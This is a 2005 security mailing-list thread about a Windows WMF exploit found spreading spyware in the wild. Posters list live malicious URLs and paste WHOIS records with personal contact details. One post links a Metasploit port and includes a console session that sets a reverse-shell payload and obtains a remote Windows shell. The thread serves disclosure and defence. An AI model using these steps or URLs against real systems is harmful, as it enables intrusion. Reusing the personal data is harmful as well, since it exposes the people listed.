I think you had better look up the IP address and you will find that the address is one that SANS has already shutdown out of Ukraine Kiev 195.225.176.38 netnum: 195.225.176.0 - 195.225.179.255 netname: NETCATHOST descr: NetcatHosting country: UA admin-c: VS1142-RIPE tech-c: VS1142-RIPE status: ASSIGNED PI mnt-by: RIPE-NCC-HM-PI-MNT mnt-lower: RIPE-NCC-HM-PI-MNT mnt-by: NETCATHOST-MNT mnt-routes: NETCATHOST-MNT source: RIPE # Filtered remarks: **************************************** remarks: * Abuse contacts: abuse@xxxxxxxxxxxxxx * remarks: **************************************** person: Vsevolod Stetsinsky address: 01110, Ukraine, Kiev, 20Á, Solomenskaya street. room 206. phone: +38 050 6226676 e-mail: vs@xxxxxxxxxxxxxx nic-hdl: VS1142-RIPE source: RIPE # Filtered % Information related to '195.225.176.0/24AS31159' route: 195.225.176.0/24 descr: NETCATHOST (net 1) origin: AS31159 mnt-by: NETCATHOST-MNT remarks: **************************************** remarks: * Abuse contacts: abuse@xxxxxxxxxxxxxx * remarks: **************************************** source: RIPE # Filtered And the other one 81.9.5.9 is also inetnum: 81.9.5.0 - 81.9.5.255 netname: ELTEL descr: SPB Network country: RU admin-c: SA507-RIPE tech-c: AG12797-RIPE status: ASSIGNED PA mnt-by: ELTEL-RIPE-MNT source: RIPE # Filtered person: Sablina Alexandra address: 10N, 65-67, address: Chaykovskogo st. address: 191123 Saint-Petersburg address: Russia phone: +7 812 4381102 fax-no: +7 812 4381101 e-mail: angel@xxxxxxxxx nic-hdl: SA507-RIPE mnt-by: ELTEL-RIPE-MNT source: RIPE # Filtered person: Alexandr Goussev address: 10N, 65-67, address: Chaykovskogo st. address: 191194 Saint-Petersburg address: Russia phone: +7 812 4381102 fax-no: +7 812 4381101 e-mail: alex@xxxxxxxxx nic-hdl: AG12797-RIPE source: RIPE # Filtered % Information related to '81.9.0.0/20AS20597' route: 81.9.0.0/20 descr: ELTEL.net origin: AS20597 mnt-by: ELTEL-RIPE-MNT source: RIPE # Filtered -----Original Message----- From: Paul [mailto:pvnick@xxxxxxxxx] Sent: Wednesday, December 28, 2005 01:26 To: 'Eric Sites'; full-disclosure@xxxxxxxxxxxxxxxxx; bugtraq@xxxxxxxxxxxxxxxxx Subject: RE: [Full-disclosure] Someone wasted a nice bug on spyware... Indeed, this is quite an annoyance. Buytoolbar.biz/xpl.wmf also works. I sent it to Microsoft a few days ago and they're looking into it. It looks like it's going to be a bad week at MSRC :( I whoised the owners of a couple domains who host the image and got the following information: Domain Name: BEEHAPPYY.BIZ Domain ID: D9564716-BIZ Sponsoring Registrar: ONLINENIC, INC. D/B/A CHINA-CHANNEL.COM Sponsoring Registrar IANA ID: 82 Domain Status: ok Registrant ID: OLNIC_919328_0_0 Registrant Name: Mikhail Sergeevich Gorbachev Registrant Organization: Mikhail Sergeevich Gorbachev Registrant Address1: Krasnaya ploshad, 1 Registrant City: Moscow Registrant State/Province: Moscow Registrant Postal Code: 176098 Registrant Country: Russian Federation Registrant Country Code: RU Registrant Phone Number: +7.0957643453 Registrant Facsimile Number: +7.0957643453 Registrant Email: mail@xxxxxxxxxxxx Administrative Contact ID: OLNIC_919328_1_0 Administrative Contact Name: Mikhail Sergeevich Gorbachev Administrative Contact Organization: Mikhail Sergeevich Gorbachev Administrative Contact Address1: Krasnaya ploshad, 1 Administrative Contact City: Moscow Administrative Contact State/Province: Moscow Administrative Contact Postal Code: 176098 Administrative Contact Country: Russian Federation Administrative Contact Country Code: RU Administrative Contact Phone Number: +7.0957643453 Administrative Contact Facsimile Number: +7.0957643453 Administrative Contact Email: mail@xxxxxxxxxxxx Billing Contact ID: OLNIC_919328_3_0 Billing Contact Name: Mikhail Sergeevich Gorbachev Billing Contact Organization: Mikhail Sergeevich Gorbachev Billing Contact Address1: Krasnaya ploshad, 1 Billing Contact City: Moscow Billing Contact State/Province: Moscow Billing Contact Postal Code: 176098 Billing Contact Country: Russian Federation Billing Contact Country Code: RU Billing Contact Phone Number: +7.0957643453 Billing Contact Facsimile Number: +7.0957643453 Billing Contact Email: mail@xxxxxxxxxxxx Technical Contact ID: OLNIC_919328_2_0 Technical Contact Name: Mikhail Sergeevich Gorbachev Technical Contact Organization: Mikhail Sergeevich Gorbachev Technical Contact Address1: Krasnaya ploshad, 1 Technical Contact City: Moscow Technical Contact State/Province: Moscow Technical Contact Postal Code: 176098 Technical Contact Country: Russian Federation Technical Contact Country Code: RU Technical Contact Phone Number: +7.0957643453 Technical Contact Facsimile Number: +7.0957643453 Technical Contact Email: mail@xxxxxxxxxxxx Name Server: NS1.PERLINK.BIZ Name Server: NS2.PERLINK.BIZ Created by Registrar: ONLINENIC, INC. D/B/A CHINA-CHANNEL.COM Last Updated by Registrar: ONLINENIC, INC. D/B/A CHINA-CHANNEL.COM Domain Registration Date: Tue Apr 26 15:43:16 GMT 2005 Domain Expiration Date: Wed Apr 25 23:59:59 GMT 2007 Domain Last Updated Date: Thu Aug 11 02:33:14 GMT 2005 The name Mikhail Sergeevich Gorbachev that this domain is registered to leads me to believe that it is registered with false information (for those of you who don't know, Gorbachev was a former Soviet president). Domain Name: BUYTOOLBAR.BIZ Domain ID: D11475548-BIZ Sponsoring Registrar: TLDS INC. Sponsoring Registrar IANA ID: 320 Domain Status: clientTransferProhibited Registrant ID: 6464084-SRSPLUS Registrant Name: Ezhi Brozkevitsh Registrant Organization: Ezhi Brozkevitsh Registrant Address1: Al. Armii Ludowej 24 Registrant City: Warszawa Registrant Postal Code: 00-609 Registrant Country: Poland Registrant Country Code: PL Registrant Phone Number: +21.225798400 Registrant Email: admin@xxxxxxxxxxxx Administrative Contact ID: 6464085-SRSPLUS Administrative Contact Name: Ezhi Brozkevitsh Administrative Contact Organization: Ezhi Brozkevitsh Administrative Contact Address1: Al. Armii Ludowej 24 Administrative Contact City: Warszawa Administrative Contact Postal Code: 00-609 Administrative Contact Country: Poland Administrative Contact Country Code: PL Administrative Contact Phone Number: +21.225798400 Administrative Contact Email: admin@xxxxxxxxxxxx Billing Contact ID: 6464085-SRSPLUS Billing Contact Name: Ezhi Brozkevitsh Billing Contact Organization: Ezhi Brozkevitsh Billing Contact Address1: Al. Armii Ludowej 24 Billing Contact City: Warszawa Billing Contact Postal Code: 00-609 Billing Contact Country: Poland Billing Contact Country Code: PL Billing Contact Phone Number: +21.225798400 Billing Contact Email: admin@xxxxxxxxxxxx Technical Contact ID: 6464086-SRSPLUS Technical Contact Name: Ezhi Brozkevitsh Technical Contact Organization: Ezhi Brozkevitsh Technical Contact Address1: Al. Armii Ludowej 24 Technical Contact City: Warszawa Technical Contact Postal Code: 00-609 Technical Contact Country: Poland Technical Contact Country Code: PL Technical Contact Phone Number: +21.225798400 Technical Contact Email: admin@xxxxxxxxxxxx Name Server: NS1.BUYTOOLBAR.BIZ Name Server: NS2.BUYTOOLBAR.BIZ Created by Registrar: TLDS INC. Last Updated by Registrar: TLDS INC. Domain Registration Date: Mon Nov 14 08:00:27 GMT 2005 Domain Expiration Date: Mon Nov 13 23:59:59 GMT 2006 Domain Last Updated Date: Mon Nov 14 11:16:52 GMT 2005 This information does look promising. Iframeurl.biz is also registered to the same individual. Perhaps the Polish authorities could apprehend this culprit (either that, or a Polish reader of full-disclosure could pay him a visit ;). That is, of course, assuming he is stupid enough to use his real name to register a domain for illegal use. Regards, Paul Greyhats Security http://greyhatsecurity.org -----Original Message----- From: full-disclosure-bounces@xxxxxxxxxxxxxxxxx [mailto:full-disclosure-bounces@xxxxxxxxxxxxxxxxx] On Behalf Of Eric Sites Sent: Tuesday, December 27, 2005 11:02 PM To: full-disclosure@xxxxxxxxxxxxxxxxx Subject: RE: [Full-disclosure] Someone wasted a nice bug on spyware... We are seeing a lot of website picking this exploit up. Examples: DON'T CLICK Crackz.ws unionseek.com/d/t1/wmf_exp.htm beehappyy.biz/parthner3/xpl.wmf http://www.tfcco.com/xpl.wmf Iframeurl.biz Cheers, Eric Sites VP of Research & Development Sunbelt Software email: eric@xxxxxxxxxxxxxxxxxxxx Voice: 1-727-562-0101 x 276 Cell: 1-727-637-2414 Fax: 1-727-562-5199 Web: http://www.sunbelt-software.com Physical Address: 101 N Garden Ave, Suite 120 Clearwater, FL, 33755 United States -----Original Message----- From: full-disclosure-bounces@xxxxxxxxxxxxxxxxx [mailto:full-disclosure-bounces@xxxxxxxxxxxxxxxxx] On Behalf Of H D Moore Sent: Tuesday, December 27, 2005 10:57 PM To: full-disclosure@xxxxxxxxxxxxxxxxx Subject: [Full-disclosure] Someone wasted a nice bug on spyware... In reference to: http://www.securityfocus.com/archive/1/420288/30/0/threaded I ported the exploit to the Metasploit Framework in case anyone wants to test it without installing a thousand spyware apps... Available from 'msfupdate' for MSF users, or in the 2.5 snapshot: --http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metaf ile --http://metasploit.com/tools/framework-2.5-snapshot.tar.gz Tested on Win XP SP1/SP2 and Windows 2003 SP0/SP1. -HD + -- --=[ msfconsole v2.5 [147 exploits - 77 payloads] msf > use ie_xp_pfv_metafile msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf ie_xp_pfv_metafile(win32_reverse) > set LHOST 192.168.0.2 LHOST -> 192.168.0.2 msf ie_xp_pfv_metafile(win32_reverse) > exploit [*] Starting Reverse Handler. [*] Waiting for connections to http://0.0.0.0:8080/anything.wmf [*] HTTP Client connected from 192.168.0.219:1060 using Windows XP [*] Got connection from 192.168.0.2:4321 <-> 192.168.0.219:1061 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\XXXX\Desktop> On Tuesday 27 December 2005 14:20, noemailpls@xxxxxxxxxxxxx wrote: > Warning the following URL successfully exploited a fully patched > windows xp system with a freshly updated norton anti virus. > > unionseek.com/d/t1/wmf_exp.htm > > The url runs a .wmf and executes the virus, f-secure will pick up the > virus norton will not. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- No virus found in this incoming message. Checked by AVG Free Edition. Version: 7.1.371 / Virus Database: 267.14.8/215 - Release Date: 12/27/2005 -- No virus found in this outgoing message. Checked by AVG Free Edition. Version: 7.1.371 / Virus Database: 267.14.8/215 - Release Date: 12/27/2005
